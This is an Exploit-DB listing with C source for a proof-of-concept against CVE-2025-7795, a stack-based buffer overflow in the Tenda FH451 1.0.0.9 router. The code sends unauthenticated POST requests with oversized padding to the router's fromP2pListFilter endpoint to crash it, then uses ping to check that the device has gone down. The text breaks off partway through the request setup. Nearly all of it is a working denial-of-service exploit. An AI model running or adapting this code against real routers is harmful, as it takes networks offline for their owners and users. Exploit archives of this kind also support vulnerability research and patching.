Exploit-DB #52374
Description: Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow
Type: remote
Platform: multiple
Date: 2025-07-22
Author: Byte Reaper

Exploit:
/*
 * Title : Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow
 * Author        : Byte Reaper
 * Telegram      : @ByteReaper0
 * CVE           : CVE-2025-7795
 * Vulnerability : Buffer Overflow
 * Description   :
 *   A buffer overflow vulnerability affecting certain Tenda routers,
 *   exploitable via an unauthenticated POST request to an unprotected endpoint, leading to service crash.
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "argparse.h"
#include <arpa/inet.h>
#include <stdlib.h>
#include <curl/curl.h>
#include <sys/wait.h>

#define FULL_URL 2500
#define POST_DATA 10000

const char *targetUrl = NULL;
const char *targetip = NULL;
int selectIp  = 0;
int selectUrl  = 0;
int verbose = 0;
int showOne = 0;
char postData[POST_DATA];

struct Mem
{
    char *buffer;
    size_t len;
};

size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (!tmp) return 0;
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}

void pingPacket()
{
    int pid = fork();
    printf("\n============================================== [Ping] ==============================================\n");
    if (pid < 0)
    {
        perror("\e[1;31m[-] Fork Failed!\e[0m");
        exit(1);
    }
    if (pid == 0)
    {
        printf("\e[1;32m[+] Child Process (Ping) -> PID: %d\e[0m\n",
               getpid());
        char *const argv[] = { "/bin/ping",
            "-c",
            "3",
            (char *)targetip,
            NULL };
            char *const envp[] = { NULL };
            __asm__ volatile
            (
                "mov $59, %%rax\n\t"
                "mov %[prog], %%rdi\n\t"
                "mov %[argv], %%rsi\n\t"
                "mov %[envp], %%rdx\n\t"
                "syscall\n\t"
                "mov $60, %%rax\n\t"
                "xor %%rdi, %%rdi\n\t"
                "syscall\n\t"
                :
                : [prog] "r" (argv[0]),
             [argv] "r" (argv),
             [envp] "r" (envp)
             : "rax", "rdi", "rsi", "rdx"
            );
    }
    else
    {
        printf("\e[1;32m[+] Main PID : %d\e[0m\n",
               getpid());
        int status;
        waitpid(pid,
                &status,
                0);
        if (WIFEXITED(status))
        {
            int code = WEXITSTATUS(status);
            printf("\e[1;33m[+] Ping exited with code: %d\e[0m\n",
                   code);
            if (code == 0)
            {
                printf("\e[1;31m[-] Successfully confirmed connection via ping!\e[0m\n");
                printf("\e[1;31m[-] The server is still working, please try again!\n\e[0m");
            }
            else
            {
                printf("\e[1;34m[+] The server is not responding to the ping request!\e[0m\n");
                printf("\e[1;34m[+] CVE-2025-7795: Vulnerability confirmed! Server is down.\e[0m\n");
            }
        }
    }
    printf("\n============================================================================================\e[0m\n");
}

void sendRequest()
{
    CURL *c = curl_easy_init();
    CURLcode res;
    char full[FULL_URL];
    struct Mem response = {NULL, 0};
    if (!c) {
        printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n");
        exit(EXIT_FAILURE);
    }
    if (targetip) selectIp = 1;
    if (targetUrl) selectUrl = 1;
    if (selectIp)
    {
        snprintf(full,
                 sizeof(full),
                 "http://%s/goform/fromP2pListFilter",
                 targetip);
    }
    if (selectUrl)
    {
        snprintf(full,
                 sizeof(full),
                 "%s/goform/fromP2pListFilter",
                 targetUrl);
    }
    int rounds = 5;
    int baseLen = 3500, step = 1000;
    showOne = 1;
    for (int i = 0; i < rounds; i++)
    {
        int len = baseLen + i * step;
        if (len + 6 >= sizeof(postData)) break;
        snprintf(postData, sizeof(postData), "list=");
        memset(postData + 5, 'A', len);
        postData[5 + len] = '\0';
        printf("\e[1;34m[%d] Iteration %d - Length: %d\e[0m\n",
               i+1,
               i+1,
               len);
        if (verbose)
        {
            printf("\e[1;35m\n====================================================================[Post Data] ====================================================================\e[0m\n");
            printf("%s\e[0m\n\n", postData);
            printf("\e[1;35m====================================================================[Post Data] ====================================================================\e[0m\n");
        }

        curl_easy_reset(c);
        curl_easy_setopt(c,
                         CURLOPT_URL,
                         full);
        curl_easy_setopt(c,
                         CURLOPT_ACCEPT_ENCODING,
                         "");
        curl_easy_setopt(c,
                         CURLOPT_FOLLOWLOCATION,
                         1L);
        curl_easy_setopt(c,
                         CURLOPT_POST,
                         1L);
        curl_easy_setopt(c,
                         CURLOPT_POSTFIELDS,
                         postData);
        curl_easy_setopt(c,
                         CURLOPT_POSTFIELDSIZE,
                         (long)strlen(postData));
        curl_easy_setopt(c,
                         CURLOPT_WRITEFUNCTION,
                         write_cb);
        curl_easy_setopt(c,
                         CURLOPT_WRITEDATA,
                         &response);
        curl_easy_setopt(c,
                         CURLOPT_CONNECTTIMEOUT,
                         5L);